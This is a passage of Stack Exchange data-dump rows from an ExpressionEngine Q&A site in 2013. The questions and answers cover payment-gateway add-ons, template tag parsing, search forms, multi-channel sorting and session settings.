  <row Id="11949" PostTypeId="1" CreationDate="2013-07-16T07:38:21.260" Score="2" ViewCount="99" Body="&lt;p&gt;Its several days that i'm trying to solve a payment method problem, and I really need support to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to create a new payment method, i studied the existing ones, i tried to simulate the paypall express, but it is still hard for me to understand the flow beetween purchase and purchase_return method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the problem:&#xA;I have to create a new payment method that redirect the user in a bank page. Here, the user will insert his bank datas (like paypall) and later, the system redirect the user back to my site. Here i have to do some operations with some informations that the bank give back to me in a GET way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - complete checkout DONE&#xA;2 - create a new payment method DONE&#xA;3 - connect to a bank DONE (using the &quot;purchase&quot; function)&#xA;    -&gt; the user is redirected to the bank page. The customer insert his datas, and after the bank redirect my to a url of my site that i told it before in a request. It is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.mysite.com/checkout/complete/ddf4692dbe3ffc47b8605bf226ab9c1c?PaymentID=1176193011631910&amp;amp;tranid=7549221021631910&amp;amp;TrackID=00021551DD695185B0A5.93845334&amp;amp;postdate=0710&amp;amp;resultcode=CAPTURED&amp;amp;auth=999999&amp;amp;Error=&amp;amp;ErrorText=&amp;amp;cardtype=VISA&amp;amp;payinst=CC&amp;amp;liability=Y&amp;amp;responsecode=00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, the hash_code and some parameters that the bank append to my return_url, because i need thosevdatas in order to make more operations later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 - Redirection from the bank to my site at the url above DONE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, if I'm correct, i expect the code inside the function &quot;purchase_return&quot; will be automatically executed (if i understand right). But it doesn't. I force the call of this function from the template of the checkout/complete page, importing the merchant library and my custom payment method code.&#xA;Now the code that i put inside the &quot;purchase_return&quot; function will run.&#xA;I return new Merchant_response(Merchant_response::COMPLETE, NULL, $order_id);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RESULTS:&#xA;&lt;strong&gt;The order is still pending. It's not paid and it isn't complete.&#xA;So: my cart is not empty, too!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody can help me, please??? thanks on advance!!&lt;/p&gt;&#xA;" OwnerUserId="1780" LastEditorUserId="268" LastEditDate="2013-07-30T10:16:03.523" LastActivityDate="2013-11-01T21:51:13.723" Title="Store: How to write a custom payment method using merchant library" Tags="|expresso-store|add-on|payment-gateway|commerce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11951" PostTypeId="2" ParentId="11903" CreationDate="2013-07-16T08:25:03.663" Score="2" Body="&lt;p&gt;The Image resizer plugin you're referring to has been abandon, so there has been no support or development for many years. I'd highly recommend using CE Image, I've used this on numerous sites, including MSM and the paths can easily be set via the config file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration#msm_config&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration#msm_config&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-16T08:25:03.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11952" PostTypeId="2" ParentId="11941" CreationDate="2013-07-16T08:58:01.820" Score="2" Body="&lt;p&gt;Depth isn't an issue with embeds and neither is URLs, so if the embed works from template A, it will work from Template B.  So it isn't any parameter issue (unless you use embed variables in the parameters - see 2 below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three factors that are most likely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The embed in Template B is within a conditional which is not being met.&lt;/li&gt;&#xA;&lt;li&gt;You're passing embed variables from template A and incorrectly passing them to Template C from B.&lt;/li&gt;&#xA;&lt;li&gt;There's a error in Template C which means it doesn't render (add-on?) - dump a test string outside any channel:entries tag pair to check if the template is accessed at all (this is also a good test for no. 2).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Seeing as we don't know your template code, I'm going to guess at no. 2 as being at fault (it's the one that usually catches me out the most).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-16T08:58:01.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11953" PostTypeId="2" ParentId="11925" CreationDate="2013-07-16T09:11:51.923" Score="0" Body="&lt;p&gt;Without hacking the Store module core code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an extension that sanitises the fields as you want them utilising the Store hooks:&#xA;&lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_order_submit_start&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/extension_hooks.html#store_order_submit_start&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact Expresso Store providing your findings, as I'm sure they'd be more than willing to incorporate changes in future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or parse and validate in JavaScript prior to form submission (not ideal as still hackable be someone who is determined).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-16T09:11:51.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11954" PostTypeId="2" ParentId="11776" CreationDate="2013-07-16T09:20:47.090" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Synchronizing Information&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;My member's Channel (the one associated via SafeCracker Registration)&#xA;  has a {profile_name} field. Whenever this is set, I'd like to sync it&#xA;  up with EE's {screen_name}. How do I do this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I took a glace at &quot;SafeCracker Registration&quot; module settings but there isn't any such type of settings. You can develop a small extension with hook entry_submission_end. The author_id of that member entry will be the member id of newly created member. So it would be easy to update the member's screen_name with entry's profile_name field value.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-07-16T09:38:16.620" LastActivityDate="2013-07-16T09:38:16.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11956" PostTypeId="2" ParentId="11925" CreationDate="2013-07-16T09:41:12.610" Score="2" Body="&lt;p&gt;Thanks Peter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the fields already clean out 'dangerous' tags I just created a small jQuery function to strip out the highlighted tags on submission. It seemed the quickest way to keep the auditors happy with minimal effort!&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-07-16T09:41:12.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11957" PostTypeId="1" AcceptedAnswerId="11965" CreationDate="2013-07-16T09:49:19.987" Score="4" ViewCount="304" Body="&lt;p&gt;We have a client that would like to see a branded, non-EE error message if there is a problem with the EE database connection. Their database is hosted on a different server and has, on one or two occasions, lost the connection – causing EE to render a plain error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'd either like to redirect to a static HTML page which contains a nice, branded apology for the site being down, or to edit the source code of the default message. I tried the Custom Messages add-on but it seems that this requires EE and the DB to be functioning correctly in order to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how best to approach this scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gaz&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2013-08-15T13:09:27.070" Title="Redirect to static page if EE database is down" Tags="|database|error-pages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11958" PostTypeId="2" ParentId="11907" CreationDate="2013-07-16T09:54:00.230" Score="5" Body="&lt;p&gt;The reason you do not have access to that variable outside the loop is because your stash tags (getters and setters) are not parsed at the same time. EE module tags are parsed recursively from the outwards inwards, peeling them one after another like a oignon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your code above, your stash set tags are inside an entry loop (level 2), while your get tag is at the root (level 1). That means your get tags are still empty when processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution One:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;process=end&lt;/code&gt; on your getter to force it to be processed later than your setter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a single value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blogposts&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;        {exp:stash:st_entryid}{entry_id}{/exp:stash:st_entryid}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;p&amp;gt;Stash output entry id: {exp:stash:st_entryid process=&quot;end&quot;}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blogposts&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;    {exp:stash:append_list name=&quot;st_blogposts_ids&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:st_entryid}{entry_id}{/stash:st_entryid}&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:get_list name=&quot;st_blogposts_ids&quot; parse_conditionals=&quot;yes&quot; process=&quot;end&quot;}&#xA;    {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;Entry ID: {st_entryid}&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution Two:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the setters and the getters on the same &quot;oignon&quot; layer by wrapping your setters around the channel entries tag. That's usually the method I use whenever possible. With lists, you have the added value that the performance of &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; is better than &lt;code&gt;{exp:stash:append_list}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:st_testid parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;blogposts&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;            {entry_id}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:st_testid}&#xA;&#xA;&amp;lt;p&amp;gt;Stash output entry id: {exp:stash:st_testid}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;List:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;st_test_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;blogposts&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;            {stash:st_entryid}{entry_id}{/stash:st_entryid}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;st_test_ids&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;Entry ID: {st_entryid}&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-07-24T07:49:50.223" LastActivityDate="2013-07-24T07:49:50.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11959" PostTypeId="1" CreationDate="2013-07-16T10:24:15.533" Score="0" ViewCount="184" Body="&lt;p&gt;I'm sure what I'm trying to do is possible but frustratingly I just can't get it to work. I have a form setup and working fine which uses category checkboxes and everything works well on the results page. However I have tried adding a similar form which searches different categories originally expecting it to work with the same results page but it doesn't output anything. I have tried giving it a different results page and again nothing is output between the low search results tag. I tried differentiating the searches by giving them different collections but this didn't work either..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have more than one low search form per page in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the form code, with the bottom one working perfectly...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:form collection=&quot;barristers&quot; search_mode=&quot;all&quot; result_page=&quot;search-barrister-practice-areas/{segment_2}&quot; query=&quot;{segment_3}&quot;}   &#xA;                &amp;lt;p class=&quot;checkboxes-right&quot;&amp;gt;&#xA;                    {exp:channel:categories channel=&quot;barristers&quot; style=&quot;linear&quot; category_group=&quot;1&quot; show=&quot;1|2|3&quot;}&#xA;                        &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{if category_id == &quot;1&quot;}commercial{/if}{if category_id == &quot;2&quot;}eu{/if}{if category_id == &quot;3&quot;}publiclaw{/if}&quot; value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} checked=&quot;checked&quot;{/if} /&amp;gt; {category_name}&amp;lt;br/&amp;gt;&#xA;                    {/exp:channel:categories}&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;SUBMIT&quot; class=&quot;button&quot; /&amp;gt;&#xA;                &amp;lt;hr class=&quot;dotted&quot; /&amp;gt;&#xA;{/exp:low_search:form}&#xA;&#xA;&#xA;                &amp;lt;h3&amp;gt;Seniority&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p class=&quot;checkboxes-left&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;all&quot; value=&quot;All&quot; id=&quot;seniorityall&quot; /&amp;gt; All&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;{exp:low_search:form collection=&quot;barristers&quot; search_mode=&quot;all&quot; result_page=&quot;search-barristers/{segment_2}&quot; query=&quot;{segment_3}&quot;} &#xA;                &amp;lt;p class=&quot;checkboxes-right&quot;&amp;gt;&#xA;                    {exp:channel:categories channel=&quot;barristers&quot; style=&quot;linear&quot; category_group=&quot;2&quot; show=&quot;7|8|9&quot;}&#xA;                        &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{if category_id == &quot;7&quot;}qc{/if}{if category_id == &quot;8&quot;}junior{/if}{if category_id == &quot;9&quot;}doortenant{/if}&quot; value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} checked=&quot;checked&quot;{/if} /&amp;gt; {category_name}&amp;lt;br/&amp;gt;&#xA;                    {/exp:channel:categories}&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;SUBMIT&quot; class=&quot;button&quot; /&amp;gt;&#xA;                &amp;lt;hr class=&quot;dotted&quot; /&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this test code in the results page for the form which is not outputting anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;barristers&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;not closed&quot; disable=&quot;member_data&quot;}&#xA;&#xA;&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt; {low_search_category} &amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {title}&#xA;&#xA;&#xA;        {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd be so grateful if someone could help with this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex&lt;/p&gt;&#xA;" OwnerUserId="1640" LastActivityDate="2013-09-14T16:41:21.463" Title="Low Search with more than one form in a single template?" Tags="|search|low-search|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11960" PostTypeId="1" AcceptedAnswerId="11964" CreationDate="2013-07-16T10:44:42.823" Score="0" ViewCount="71" Body="&lt;p&gt;I'm building a loyalty scheme system in which customers log purchases they have made and when approved they are allocated points. These points are used to 'purchase' rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have most of the system working but I need to create a transaction history and this is proving to be tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have 2 channels;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invoices&lt;/strong&gt; - in which the entries represent customer invoices that are awarded points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rewards&lt;/strong&gt; - in which the order for items they claim are recorded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The invoices channel contains a date field to record the date of the invoice (not the entry date since this is different). I need to retain the entry date as the date the entry was made for admin purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewards channel uses the standard entry date to record when the purchase is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction history needs to show a mixed list pulling entries from both channels - easy enough. BUT I need to sequence them chronologically using the invoice date and the reward entry date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this in my entries tag at the moment;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;invoices|rewards&quot; dynamic=&quot;off&quot; status=&quot;approved|open|closed|pending|declined&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot; orderby=&quot;invoice-date|entry_date&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can imagine, this isn't working as it groups each channel's entries together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I've been writing this it has occurred to me that the simplest solution would be to add another date field to the purchases which replicates the entry date then just sort on the 2 custom fields. I'm not sure this will work but might be worth a try though I can see other problems manifesting if I do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better option might simply be to use the query module now I think of it. But again I fear I may run into a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has an idea on this I'd be grateful!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-15T21:39:16.333" Title="Creating a chronological list from 2 channels and sorting by 2 different fields" Tags="|custom-fields|date|sort|entry-date|multiple-channels|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11961" PostTypeId="1" CreationDate="2013-07-16T10:55:27.587" Score="1" ViewCount="34" Body="&lt;p&gt;I'm a newbie to SE, not so new to EE :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got CartThrob Lite v2.3.3 Installed on EE 2.6.1 and I'm experiencing a weird issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you go to Cart Throb &gt; Settings and click the Payments button it redirects to the front-end 404 page which is a bit alarming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had the same issue or can think of a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as I really need to be able to configure my payment gateways in order to move forward with this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any more information- just ask!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Neil&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2013-07-16T10:55:27.587" Title="CartThrob Lite: Payments button not working in settings. Any Ideas?" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11962" PostTypeId="1" CreationDate="2013-07-16T11:20:11.470" Score="1" ViewCount="89" Body="&lt;p&gt;I'm currently writing a plugin that returns a result set comprising channel_titles and channel_data. I have a file field in there, so the columns from channel_data are formatted like {filedir_1}filename.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I figure there must be a way to use this information so that I can call the file field type tags (like {field:size}) or the tag pair (like {field}{path}{/field}) from my template, but I don't have a clue how to do this and I can't find any documentation on it. Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case this isn't clear, here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/jaspertandy/8e7940a171424e31e13c#file-pi-playlist-php-L41&quot; rel=&quot;nofollow&quot;&gt;My plugin method&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/jaspertandy/46a907fc5e60cb399541#file-index-html-L3&quot; rel=&quot;nofollow&quot;&gt;My template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see, I'm manually converting that string to the path, and it's ugly as sin. Ideally, I'd like to be able to use that file field type in exactly the same way as it's used in {exp:channel:entries}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1783" LastActivityDate="2013-10-16T06:58:24.887" Title="Setting up field type tag pairs from custom plugin methods" Tags="|custom-fields|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11963" PostTypeId="1" CreationDate="2013-07-16T11:36:59.773" Score="1" ViewCount="261" Body="&lt;p&gt;I have a site which is a directory of images, grouped by brand. Supersearch is hardcoded in to show a list of results on each page, depending on the brand page that you are on (using it a little like channel:entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site appears to be working perfectly and displaying everything as required but I spoke to the client today who informed me that some images were not showing up in the main listings. Each image is it's own entry and has tags applied etc. and then assigned to a brand. He recreated one of the entries that wasn't showing up in the supersearch results using exactly the same image, information &amp;amp; tags and this time it appeared in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced Supersearch not showing all results, even though everything appears to be in order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's any help, here is the line of code that calls the search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:super_search:results parse=&quot;inward&quot; redirect_post=&quot;yes&quot; search=&quot;keywords={exp:parameters:post name='keywords'}&amp;amp;channel=images&amp;amp;image_brand-exact={exp:stash:get name='brand_clean_title'}&amp;amp;orderby=entry_date+desc&quot;}&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="628" LastEditDate="2013-07-18T10:04:22.733" LastActivityDate="2013-10-24T09:01:43.943" Title="Supersearch not showing all results" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11964" PostTypeId="2" ParentId="11960" CreationDate="2013-07-16T12:22:35.263" Score="1" Body="&lt;p&gt;I think I would go with adding a reward_date field to your other channel, this will also make things more obvious for any other devs picking up the project later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to write a simple extension to do this using the publish-form-entry-data hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#publish-form-entry-data&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#publish-form-entry-data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is mirror your entry date 'if' then entry belongs to the relevant channel to the 'reward_date' field. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-07-16T12:22:35.263" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11965" PostTypeId="2" ParentId="11957" CreationDate="2013-07-16T12:28:23.987" Score="1" Body="&lt;p&gt;This might help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5148033/how-do-i-check-if-php-is-connected-to-a-database-already&quot;&gt;https://stackoverflow.com/questions/5148033/how-do-i-check-if-php-is-connected-to-a-database-already&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect you will have to insert something like this in the site root index.php for it to work, you could then include a static template from somewhere else on the server when a connection can't be made and serve a 404 header?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-07-16T12:28:23.987" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11966" PostTypeId="2" ParentId="11929" CreationDate="2013-07-16T12:31:58.717" Score="1" Body="&lt;p&gt;You might be best contacting your ISP to check with them what the maximum allowed file upload size is. You should also be able to check via the PHP info screen 'within' EE2 by navigating to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools &gt; Utilities &gt; PHP Info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then search for &quot;upload_max_filesize&quot; - if the figure there is lower than the file size of your MP3 then you will need to raise the maximum file size allowed by the server - again this is something your ISP should be able to help you with. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-07-16T12:31:58.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11967" PostTypeId="1" CreationDate="2013-07-16T13:00:31.393" Score="1" ViewCount="75" Body="&lt;p&gt;I currently have Store (1.6.4) up and running amazingly. However, I've just spotted that if a user clicks cancel while on worldpay then I get a callback failure alert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error reported: Callback to https://capuk.org/?ACT=35&amp;amp;H=8ea9360d3687aa3ae10091b4fa2be74c: NOT OK, recevied HTTP status: 302 &#xA;Server Reference: mg4imsps3p:callbackFailureEmail-122700:MerchReq-870-97&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastEditorUserId="150" LastEditDate="2013-11-01T22:10:42.883" LastActivityDate="2013-11-01T22:11:20.120" Title="Cancel while on WorldPay" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11968" PostTypeId="2" ParentId="11927" CreationDate="2013-07-16T13:30:09.173" Score="3" Body="&lt;p&gt;Thanks to the great people at PixelandTonic I have this resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was having session issues with another plugin earlier and the solution to this was to change the session preferences in the control panel from &quot;Sessions IDs only&quot; to &quot;Cookies only&quot;. As usual, fixing one thing will break three. The response from P&amp;amp;T:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In your security and session preferences, CP Session type was set to&#xA;  &quot;cookies only&quot; and User session type was set to &quot;session ID only&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Assets makes a lot of Ajax requests and due to the nature of EE, they&#xA;  can only be made via frontend, so User session is used there to&#xA;  determine the access privileges, and when making those requests,&#xA;  Assets could not determine that the user was a valid CP user, so it&#xA;  denied every request as a security precaution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I set them both to use Cookies only and now it all works fine. Another&#xA;  workable scenarion is Admin: Session And Cookies, User: Cookies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This actually fixed a couple of other unrelated issues I was having in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, the issue was not due to the migration, it was always there. Just an annoyance to fix later. The migration just brought the issue to depth con 5.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2013-07-16T13:30:09.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11969" PostTypeId="2" ParentId="11642" CreationDate="2013-07-16T14:46:00.837" Score="0" Body="&lt;p&gt;If you have the channel entries tag around your content, calling in the entry, than adding channel=&quot;locations&quot; and category=&quot;#ID | #ID&quot; where #ID is the id of the category, than it should do it. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR if it is more complex...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that you can use gw:code (&lt;a href=&quot;http://gwcode.com/add-ons&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons&lt;/a&gt;) to grab the category group or category id's in your Entry Parameters to narrow down your returns, check out the documentation and examples in each addon to see which one may work best for you, I think 'gw:categories' should do it.&lt;/p&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-07-16T14:46:00.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
